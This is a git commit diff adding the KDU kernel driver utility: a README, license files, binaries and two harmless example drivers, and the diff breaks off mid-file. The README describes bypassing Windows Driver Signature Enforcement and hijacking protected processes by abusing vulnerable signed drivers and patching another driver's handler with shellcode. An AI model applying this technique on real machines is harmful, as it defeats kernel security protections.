commit 1f6256f9a8194c7c9cd5e398aa13ddead44f7757 Author: hfiref0x Date: Sun Feb 2 12:24:50 2020 +0700 Initial commit diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/Bin/dummy.sys b/Bin/dummy.sys new file mode 100644 index 0000000..5b234dd Binary files /dev/null and b/Bin/dummy.sys differ diff --git a/Bin/dummy2.sys b/Bin/dummy2.sys new file mode 100644 index 0000000..ff8d766 Binary files /dev/null and b/Bin/dummy2.sys differ diff --git a/Bin/kdu.exe b/Bin/kdu.exe new file mode 100644 index 0000000..44d3c41 Binary files /dev/null and b/Bin/kdu.exe differ diff --git a/Bin/license.txt b/Bin/license.txt new file mode 100644 index 0000000..69c9acc --- /dev/null +++ b/Bin/license.txt @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2020 KDU Project + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/Help/kdu1.png b/Help/kdu1.png new file mode 100644 index 0000000..cb2f6b3 Binary files /dev/null and b/Help/kdu1.png differ diff --git a/Help/kdu2.png b/Help/kdu2.png new file mode 100644 index 0000000..39b94ba Binary files /dev/null and b/Help/kdu2.png differ diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..69c9acc --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2020 KDU Project + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..49bd889 --- /dev/null +++ b/README.md @@ -0,0 +1,111 @@ +# KDU +## Kernel Driver Utility + +#### System Requirements + ++ x64 Windows 7/8/8.1/10; ++ Administrative privilege is required. + +# Purpose and Features + +The purpose of this tool is to give a simple way to explore Windows kernel/components without doing a lot of additional work or setting up local debugger. +It features: ++ Protected Processes Hijacking via Process object modification; ++ Driver loader for bypassing Driver Signature Enforcement (similar to TDL/Stryker); ++ Support of various vulnerable drivers use as functionality "providers". + +#### Usage + +###### KDU -ps ProcessID +###### KDU -map filename +###### KDU -prv ProviderID +###### KDU -list +* -prv - optional, select vulnerability driver provider; +* -ps - modify process object of given ProcessID; +* -map - load input file as code buffer to kernel mode and run it; +* -list - list currently available providers. + +Example: ++ kde -ps 1337 ++ kde -map c:\driverless\mysuperhack.sys ++ kde -prv 1 -ps 1337 ++ kde -prv 1 -map c:\driverless\mysuperhack.sys + +Run on Windows 10 20H2 (precomplied version) + + + + +Compiled and run on Windows 8.1 + + + + +#### Limitations of -map command + +Due to unusual way of loading that is not involving standard kernel loader, but uses overwriting already loaded modules with shell-code, there are some limitations: + ++ Loaded drivers MUST BE specially designed to run as "driverless"; + +That mean you cannot use parameters specified at your DriverEntry as they won't be valid. That also mean you can not load *any* drivers but only specially designed or you need to alter shell-code responsible for driver mapping. + ++ No SEH support for target drivers; + +There is no SEH code in x64. Instead of this you have table of try/except/finally regions which must be in the executable image described by pointer in PE header. If there is an exception occured system handler will first look in which module that happened. Mapped drivers are not inside Windows controlled list of drivers (PsLoadedModulesList - PatchGuard protected), so nothing will be found and system will simple crash. + ++ No driver unloading; + +Mapped code can't unload itself, however you still can release all resources allocated by your mapped code. +DRIVER_OBJECT->DriverUnload should be set to NULL. + ++ Only ntoskrnl import resolved, everything else is up to you; + +If your project need another module dependency then you have to rewrite this loader part. + ++ Several Windows primitives are banned by PatchGuard from usage from the dynamic code. + +Because of unsual way of loading mapped driver won't be inside PsLoadedModulesList. That mean any callback registered by such code will have handler located in memory outside this list. PatchGuard has ability to check whatever the registered callbacks point to valid loaded modules or not and BSOD with "Kernel notification callout modification" if such dynamic code detected. + +In general if you want to know what you *should not do* in kernel look at https://github.com/hfiref0x/UPGDSED/tree/master/src/tests/BadRkDemo/drv/dummy which contain a few examples of forbidden things. + +#### Kernel traces note +This tool does not change (and this won't change in future) internal Windows structures of MmUnloadedDrivers and/or PiDDBCacheTable. That's because: ++ KDU is not designed to circumvent third-party security software or various dubious crapware (e.g. anti-cheats); ++ These data can be a target for PatchGuard protection in the next major Windows 10 update. + +You use it at your own risk. Some lazy AV may flag this tool as hacktool/malware. + +#### Currently Supported Providers + ++ Intel Network Adapter Diagnostic Driver of version 1.03.0.7; ++ RTCore64 driver from MSI Afterburner of version 4.6.2 build 15658 and below. + +More providers maybe added in the future. + +# How it work + +It uses known to be vulnerable driver from legitimate software to access arbitrary kernel memory with read/write primitives. + +Depending on command KDU will either work as TDL or modify kernel mode process objects (EPROCESS). + +When in -map mode KDU will use 3rd party signed driver from SysInternals Process Explorer and hijack it by placing a small loader shell-code inside it IRP_MJ_DEVICE_CONTROL/IRP_MJ_CREATE/IRP_MJ_CLOSE handler. This is done by overwriting physical memory where Process Explorer dispatch handler located and triggering it by calling driver IRP_MJ_CREATE handler (CreateFile call). Next shell-code will map input driver as code buffer to kernel mode and run it with current IRQL be PASSIVE_LEVEL. After that hijacked Process Explorer driver will be unloaded together with vulnerable provider driver. This entire idea comes from malicious software of the middle of 200x known as rootkits. + +# Build + +KDU comes with full source code. +In order to build from source you need Microsoft Visual Studio 2019 and later versions. For driver builds you need Microsoft Windows Driver Kit 10 and/or above. + +# Support and Warranties + +Using this program might render your computer into BSOD. Compiled binary and source code provided AS-IS in help it will be useful BUT WITHOUT WARRANTY OF ANY KIND. + +# References + +* Stryker, https://github.com/hfiref0x/Stryker +* Unwinding RTCore, https://swapcontext.blogspot.com/2020/01/unwinding-rtcore.html +* CVE-2019-16098, https://github.com/Barakat/CVE-2019-16098 +* CVE-2015-2291, https://www.exploit-db.com/exploits/36392 + +# Authors + +(c) 2020 KDE Project diff --git a/Source/Examples/DummyDrv/dummy.sln b/Source/Examples/DummyDrv/dummy.sln new file mode 100644 index 0000000..6c35f1c --- /dev/null +++ b/Source/Examples/DummyDrv/dummy.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64 + {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64 + {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Source/Examples/DummyDrv/dummy/dummy.vcxproj b/Source/Examples/DummyDrv/dummy/dummy.vcxproj new file mode 100644 index 0000000..8051246 --- /dev/null +++ b/Source/Examples/DummyDrv/dummy/dummy.vcxproj @@ -0,0 +1,102 @@ + + + + + Debug + x64 + + + Release + x64 + + + + {3D8146DE-8064-46C0-9E70-CEEC357B2290} + {1bc93793-694f-48fe-9372-81e2b05556fd} + v4.5 + 12.0 + Debug + Win32 + dummy + 8.1 + + + + Windowsv6.3 + true + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windowsv6.3 + false + WindowsKernelModeDriver8.1 + Driver + KMDF + Universal + true + + + + + + + + + + + DbgengKernelDebugger + AllRules.ruleset + .\output\$(Platform)\$(Configuration)\ + .\output\$(Platform)\$(Configuration)\ + + + DbgengKernelDebugger + AllRules.ruleset + true + .\output\$(Platform)\$(Configuration)\ + .\output\$(Platform)\$(Configuration)\ + + + + false + true + Speed + false + true + All + true + CompileAsC + true + false + MinSpace + + + false + false + true + true + true + DriverEntry + true + true + false + + + + + false + + + + + + + + + + + + \ No newline at end of file diff --git a/Source/Examples/DummyDrv/dummy/dummy.vcxproj.filters b/Source/Examples/DummyDrv/dummy/dummy.vcxproj.filters new file mode 100644 index 0000000..267d15c --- /dev/null +++ b/Source/Examples/DummyDrv/dummy/dummy.vcxproj.filters @@ -0,0 +1,26 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Source Files + + + \ No newline at end of file diff --git a/Source/Examples/DummyDrv/dummy/dummy.vcxproj.user b/Source/Examples/DummyDrv/dummy/dummy.vcxproj.user new file mode 100644 index 0000000..5979185 --- /dev/null +++ b/Source/Examples/DummyDrv/dummy/dummy.vcxproj.user @@ -0,0 +1,6 @@ + + + + Off + + \ No newline at end of file diff --git a/Source/Examples/DummyDrv/dummy/main.c b/Source/Examples/DummyDrv/dummy/main.c new file mode 100644 index 0000000..a9cbe34 --- /dev/null +++ b/Source/Examples/DummyDrv/dummy/main.c @@ -0,0 +1,86 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2016 - 2020 +* +* TITLE: MAIN.C +* +* VERSION: 1.02 +* +* DATE: 24 Jan 2020 +* +* Example driver for driver loaders usage (TDL/Stryker/Diplodocus/KDU) +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include + +DRIVER_INITIALIZE DriverEntry; +#pragma alloc_text(INIT, DriverEntry) + +/* +* DriverEntry +* +* Purpose: +* +* Driver base entry point. +* +*/ +NTSTATUS DriverEntry( + _In_ struct _DRIVER_OBJECT *DriverObject, + _In_ PUNICODE_STRING RegistryPath +) +{ + PEPROCESS Process; + KIRQL Irql; + PSTR sIrql; + + /* This parameters are invalid due to nonstandard way of loading and should not be used. */ + UNREFERENCED_PARAMETER(DriverObject); + UNREFERENCED_PARAMETER(RegistryPath); + + Irql = KeGetCurrentIrql(); + if (Irql <= DISPATCH_LEVEL) { + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "Hello from kernel mode, system range start is %p, code mapped at %p\r\n", + MmSystemRangeStart, + DriverEntry); + + Process = PsGetCurrentProcess(); + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "I'm at %s, Process : %lu (%p)\r\n", + __FUNCTION__, + (ULONG)PsGetCurrentProcessId(), + Process); + + switch (Irql) { + + case PASSIVE_LEVEL: + sIrql = "PASSIVE_LEVEL"; + break; + case APC_LEVEL: + sIrql = "APC_LEVEL"; + break; + case DISPATCH_LEVEL: + sIrql = "DISPATCH_LEVEL"; + break; + default: + sIrql = "Unknown Value"; + break; + } + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "KeGetCurrentIrql=%s\r\n", + sIrql); + } + + return STATUS_SUCCESS; +} diff --git a/Source/Examples/DummyDrv2/dummy.sln b/Source/Examples/DummyDrv2/dummy.sln new file mode 100644 index 0000000..6c35f1c --- /dev/null +++ b/Source/Examples/DummyDrv2/dummy.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dummy", "dummy\dummy.vcxproj", "{3D8146DE-8064-46C0-9E70-CEEC357B2290}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.ActiveCfg = Release|x64 + {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Build.0 = Release|x64 + {3D8146DE-8064-46C0-9E70-CEEC357B2290}.Release|x64.Deploy.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Source/Examples/DummyDrv2/dummy/dummy.vcxproj b/Source/Examples/DummyDrv2/dummy/dummy.vcxproj new file mode 100644 index 0000000..04ed025 --- /dev/null +++ b/Source/Examples/DummyDrv2/dummy/dummy.vcxproj @@ -0,0 +1,107 @@ + + + + + Debug + x64 + + + Release + x64 + + + + {3D8146DE-8064-46C0-9E70-CEEC357B2290} + {1bc93793-694f-48fe-9372-81e2b05556fd} + v4.5 + 12.0 + Debug + Win32 + dummy + 8.1 + + + + Windowsv6.3 + true + WindowsKernelModeDriver10.0 + Driver + KMDF + Universal + + + Windowsv6.3 + false + WindowsKernelModeDriver8.1 + Driver + KMDF + Universal + true + + + + + + + + + + + DbgengKernelDebugger + AllRules.ruleset + .\output\$(Platform)\$(Configuration)\ + .\output\$(Platform)\$(Configuration)\ + + + DbgengKernelDebugger + AllRules.ruleset + false + .\output\$(Platform)\$(Configuration)\ + .\output\$(Platform)\$(Configuration)\ + dummy2 + + + + false + true + Size + false + true + All + true + CompileAsC + false + false + MinSpace + true + + + false + false + true + true + true + DriverEntry + true + true + false + + + + + false + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Source/Examples/DummyDrv2/dummy/dummy.vcxproj.filters b/Source/Examples/DummyDrv2/dummy/dummy.vcxproj.filters new file mode 100644 index 0000000..8c93f38 --- /dev/null +++ b/Source/Examples/DummyDrv2/dummy/dummy.vcxproj.filters @@ -0,0 +1,31 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Source Files + + + + + Header Files + + + \ No newline at end of file diff --git a/Source/Examples/DummyDrv2/dummy/dummy.vcxproj.user b/Source/Examples/DummyDrv2/dummy/dummy.vcxproj.user new file mode 100644 index 0000000..5979185 --- /dev/null +++ b/Source/Examples/DummyDrv2/dummy/dummy.vcxproj.user @@ -0,0 +1,6 @@ + + + + Off + + \ No newline at end of file diff --git a/Source/Examples/DummyDrv2/dummy/main.c b/Source/Examples/DummyDrv2/dummy/main.c new file mode 100644 index 0000000..41aa5e8 --- /dev/null +++ b/Source/Examples/DummyDrv2/dummy/main.c @@ -0,0 +1,337 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2016 - 2020 +* +* TITLE: MAIN.C +* +* VERSION: 1.02 +* +* DATE: 24 Jan 2020 +* +* Example driver #2 for driver loaders usage (TDL/Stryker/Diplodocus/KDU) +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#include +#include "main.h" + +/* +* PrintIrql +* +* Purpose: +* +* Debug print current irql. +* +*/ +VOID PrintIrql() +{ + KIRQL Irql; + PSTR sIrql; + + Irql = KeGetCurrentIrql(); + + switch (Irql) { + + case PASSIVE_LEVEL: + sIrql = "PASSIVE_LEVEL"; + break; + case APC_LEVEL: + sIrql = "APC_LEVEL"; + break; + case DISPATCH_LEVEL: + sIrql = "DISPATCH_LEVEL"; + break; + case CMCI_LEVEL: + sIrql = "CMCI_LEVEL"; + break; + case CLOCK_LEVEL: + sIrql = "CLOCK_LEVEL"; + break; + case IPI_LEVEL: + sIrql = "IPI_LEVEL"; + break; + case HIGH_LEVEL: + sIrql = "HIGH_LEVEL"; + break; + default: + sIrql = "Unknown Value"; + break; + } + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "KeGetCurrentIrql=%u(%s)\r\n", + Irql, + sIrql); +} + +/* +* DevioctlDispatch +* +* Purpose: +* +* IRP_MJ_DEVICE_CONTROL dispatch. +* +*/ +NTSTATUS DevioctlDispatch( + _In_ struct _DEVICE_OBJECT *DeviceObject, + _Inout_ struct _IRP *Irp + ) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG bytesIO = 0; + PIO_STACK_LOCATION stack; + BOOLEAN condition = FALSE; + PINOUTPARAM rp, wp; + + UNREFERENCED_PARAMETER(DeviceObject); + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s IRP_MJ_DEVICE_CONTROL", + __FUNCTION__); + + stack = IoGetCurrentIrpStackLocation(Irp); + + do { + + if (stack == NULL) { + status = STATUS_INTERNAL_ERROR; + break; + } + + rp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer; + wp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer; + if (rp == NULL) { + status = STATUS_INVALID_PARAMETER; + break; + } + + switch (stack->Parameters.DeviceIoControl.IoControlCode) { + case DUMMYDRV_REQUEST1: + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s DUMMYDRV_REQUEST1 hit", + __FUNCTION__); + + if (stack->Parameters.DeviceIoControl.InputBufferLength != sizeof(INOUT_PARAM)) { + status = STATUS_INVALID_PARAMETER; + break; + } + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s in params = %lx, %lx, %lx, %lx", + __FUNCTION__, + rp->Param1, + rp->Param2, + rp->Param3, + rp->Param4); + + wp->Param1 = 11111111; + wp->Param2 = 22222222; + wp->Param3 = 33333333; + wp->Param4 = 44444444; + + status = STATUS_SUCCESS; + bytesIO = sizeof(INOUT_PARAM); + + break; + + default: + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s hit with invalid IoControlCode", + __FUNCTION__); + + status = STATUS_INVALID_PARAMETER; + break; + }; + + } while (condition); + + Irp->IoStatus.Status = status; + Irp->IoStatus.Information = bytesIO; + IoCompleteRequest(Irp, IO_NO_INCREMENT); + return status; +} + +/* +* UnsupportedDispatch +* +* Purpose: +* +* Unused IRP_MJ_* dispatch. +* +*/ +NTSTATUS UnsupportedDispatch( + _In_ struct _DEVICE_OBJECT *DeviceObject, + _Inout_ struct _IRP *Irp + ) +{ + UNREFERENCED_PARAMETER(DeviceObject); + + Irp->IoStatus.Status = STATUS_NOT_SUPPORTED; + IoCompleteRequest(Irp, IO_NO_INCREMENT); + return STATUS_NOT_SUPPORTED; +} + +/* +* CreateDispatch +* +* Purpose: +* +* IRP_MJ_CREATE dispatch. +* +*/ +NTSTATUS CreateDispatch( + _In_ struct _DEVICE_OBJECT *DeviceObject, + _Inout_ struct _IRP *Irp + ) +{ + NTSTATUS status = Irp->IoStatus.Status; + UNREFERENCED_PARAMETER(DeviceObject); + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s Create", + __FUNCTION__); + + IoCompleteRequest(Irp, IO_NO_INCREMENT); + return status; +} + +/* +* CloseDispatch +* +* Purpose: +* +* IRP_MJ_CLOSE dispatch. +* +*/ +NTSTATUS CloseDispatch( + _In_ struct _DEVICE_OBJECT *DeviceObject, + _Inout_ struct _IRP *Irp + ) +{ + NTSTATUS status = Irp->IoStatus.Status; + UNREFERENCED_PARAMETER(DeviceObject); + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s Close", + __FUNCTION__); + + IoCompleteRequest(Irp, IO_NO_INCREMENT); + return status; +} + +/* +* DriverInitialize +* +* Purpose: +* +* Driver main. +* +*/ +NTSTATUS DriverInitialize( + _In_ struct _DRIVER_OBJECT *DriverObject, + _In_ PUNICODE_STRING RegistryPath + ) +{ + NTSTATUS status; + UNICODE_STRING SymLink, DevName; + PDEVICE_OBJECT devobj; + ULONG t; + + //RegistryPath is NULL + UNREFERENCED_PARAMETER(RegistryPath); + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s\n", + __FUNCTION__); + + RtlInitUnicodeString(&DevName, L"\\Device\\TDLD"); + status = IoCreateDevice(DriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, TRUE, &devobj); + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s IoCreateDevice(%wZ) = %lx\n", + __FUNCTION__, + DevName, + status); + + if (!NT_SUCCESS(status)) { + return status; + } + + RtlInitUnicodeString(&SymLink, L"\\DosDevices\\TDLD"); + status = IoCreateSymbolicLink(&SymLink, &DevName); + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s IoCreateSymbolicLink(%wZ) = %lx\n", + __FUNCTION__, + SymLink, + status); + + devobj->Flags |= DO_BUFFERED_IO; + + for (t = 0; t <= IRP_MJ_MAXIMUM_FUNCTION; t++) + DriverObject->MajorFunction[t] = &UnsupportedDispatch; + + DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = &DevioctlDispatch; + DriverObject->MajorFunction[IRP_MJ_CREATE] = &CreateDispatch; + DriverObject->MajorFunction[IRP_MJ_CLOSE] = &CloseDispatch; + DriverObject->DriverUnload = NULL; //nonstandard way of driver loading, no unload + + devobj->Flags &= ~DO_DEVICE_INITIALIZING; + return status; +} + +/* +* DriverEntry +* +* Purpose: +* +* Driver base entry point. +* +*/ +NTSTATUS DriverEntry( + _In_ struct _DRIVER_OBJECT *DriverObject, + _In_ PUNICODE_STRING RegistryPath +) +{ + NTSTATUS status; + UNICODE_STRING drvName; + + /* This parameters are invalid due to nonstandard way of loading and should not be used. */ + UNREFERENCED_PARAMETER(DriverObject); + UNREFERENCED_PARAMETER(RegistryPath); + + PrintIrql(); + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s\n", + __FUNCTION__); + + RtlInitUnicodeString(&drvName, L"\\Driver\\TDLD"); + status = IoCreateDriver(&drvName, &DriverInitialize); + + DbgPrintEx(DPFLTR_DEFAULT_ID, + DPFLTR_INFO_LEVEL, + "%s IoCreateDriver(%wZ) = %lx\n", + __FUNCTION__, + drvName, + status); + + return status; +} diff --git a/Source/Examples/DummyDrv2/dummy/main.h b/Source/Examples/DummyDrv2/dummy/main.h new file mode 100644 index 0000000..a0362e4 --- /dev/null +++ b/Source/Examples/DummyDrv2/dummy/main.h @@ -0,0 +1,75 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2016 - 2017 +* +* TITLE: MAIN.H +* +* VERSION: 1.01 +* +* DATE: 20 Apr 2017 +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +NTKERNELAPI +NTSTATUS +IoCreateDriver( + _In_ PUNICODE_STRING DriverName, OPTIONAL + _In_ PDRIVER_INITIALIZE InitializationFunction + ); + +_Dispatch_type_(IRP_MJ_DEVICE_CONTROL) +DRIVER_DISPATCH DevioctlDispatch; +_Dispatch_type_(IRP_MJ_CREATE) +DRIVER_DISPATCH CreateDispatch; +_Dispatch_type_(IRP_MJ_CLOSE) +DRIVER_DISPATCH CloseDispatch; + +_Dispatch_type_(IRP_MJ_CREATE) +_Dispatch_type_(IRP_MJ_CREATE_NAMED_PIPE) +_Dispatch_type_(IRP_MJ_CLOSE) +_Dispatch_type_(IRP_MJ_READ) +_Dispatch_type_(IRP_MJ_WRITE) +_Dispatch_type_(IRP_MJ_QUERY_INFORMATION) +_Dispatch_type_(IRP_MJ_SET_INFORMATION) +_Dispatch_type_(IRP_MJ_QUERY_EA) +_Dispatch_type_(IRP_MJ_SET_EA) +_Dispatch_type_(IRP_MJ_FLUSH_BUFFERS) +_Dispatch_type_(IRP_MJ_QUERY_VOLUME_INFORMATION) +_Dispatch_type_(IRP_MJ_SET_VOLUME_INFORMATION) +_Dispatch_type_(IRP_MJ_DIRECTORY_CONTROL) +_Dispatch_type_(IRP_MJ_FILE_SYSTEM_CONTROL) +_Dispatch_type_(IRP_MJ_DEVICE_CONTROL) +_Dispatch_type_(IRP_MJ_INTERNAL_DEVICE_CONTROL) +_Dispatch_type_(IRP_MJ_SHUTDOWN) +_Dispatch_type_(IRP_MJ_LOCK_CONTROL) +_Dispatch_type_(IRP_MJ_CLEANUP) +_Dispatch_type_(IRP_MJ_CREATE_MAILSLOT) +_Dispatch_type_(IRP_MJ_QUERY_SECURITY) +_Dispatch_type_(IRP_MJ_SET_SECURITY) +_Dispatch_type_(IRP_MJ_POWER) +_Dispatch_type_(IRP_MJ_SYSTEM_CONTROL) +_Dispatch_type_(IRP_MJ_DEVICE_CHANGE) +_Dispatch_type_(IRP_MJ_QUERY_QUOTA) +_Dispatch_type_(IRP_MJ_SET_QUOTA) +_Dispatch_type_(IRP_MJ_PNP) +DRIVER_DISPATCH UnsupportedDispatch; + +DRIVER_INITIALIZE DriverInitialize; +DRIVER_INITIALIZE DriverEntry; +#pragma alloc_text(INIT, DriverEntry) + +#define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) + +typedef struct _INOUT_PARAM { + ULONG Param1; + ULONG Param2; + ULONG Param3; + ULONG Param4; +} INOUT_PARAM, *PINOUTPARAM; diff --git a/Source/Examples/DummyDrv2/dummy/r3request.c b/Source/Examples/DummyDrv2/dummy/r3request.c new file mode 100644 index 0000000..9377f3d --- /dev/null +++ b/Source/Examples/DummyDrv2/dummy/r3request.c @@ -0,0 +1,34 @@ +typedef struct _INOUT_PARAM{ + ULONG Param1; + ULONG Param2; + ULONG Param3; + ULONG Param4; +} INOUT_PARAM, *PINOUT_PARAM; + +#define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) + +VOID test( + VOID + ) +{ + HANDLE h; + INOUT_PARAM tmp; + DWORD bytesIO; + + h = CreateFile(TEXT("\\\\.\\TDLD"), GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); + if (h != INVALID_HANDLE_VALUE) { + + tmp.Param1 = 0xAAAAAAAA; + tmp.Param2 = 0xBBBBBBBB; + tmp.Param3 = 0xCCCCCCCC; + tmp.Param4 = 0xDDDDDDDD; + + DeviceIoControl(h, DUMMYDRV_REQUEST1, + &tmp, sizeof(tmp), &tmp, + sizeof(tmp), &bytesIO, NULL); + + CloseHandle(h); + } + +} \ No newline at end of file diff --git a/Source/Hamakaze/KDU.vcxproj b/Source/Hamakaze/KDU.vcxproj new file mode 100644 index 0000000..0081033 --- /dev/null +++ 